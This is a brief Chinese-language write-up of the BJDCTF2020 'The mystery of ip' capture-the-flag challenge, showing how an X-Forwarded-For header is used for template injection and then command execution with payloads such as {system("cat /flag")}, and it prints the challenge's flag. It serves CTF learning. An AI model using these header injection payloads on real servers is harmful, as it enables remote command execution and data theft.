[BJDCTF2020]The mystery of ip 1

TazmiDev發表於2024-11-24

[BJDCTF2020]The mystery of ip 1

開啟例項,發現flag.php路徑,訪問顯示自己當前的內網ip

image-20241124091805543

hackerbar新增xff請求頭,嘗試ip偽造,成功回顯

image-20241124091858569

判斷可能為xff注入,嘗試sql的部分注入語句均無效,放棄sql注入,嘗試SSTI模板注入

X-Forwarded-For: {1+1}

image-20241124092302520

成功回顯,存在XFF-SSTI模板注入漏洞

嘗試構造payload

X-Forwarded-For: {system("ls")}

image-20241124092406046

成功遍歷目錄

檢視flag.php,未發現flag

image-20241124092536880

檢視根目錄

X-Forwarded-For: {system("ls / -a")}

image-20241124092622528

發現flag,最終payload為:

X-Forwarded-For: {system("cat /flag")}

image-20241124092700153

flag{b0a840de-eeaf-4ed1-80c1-bb12ff2bcb10} 

相關文章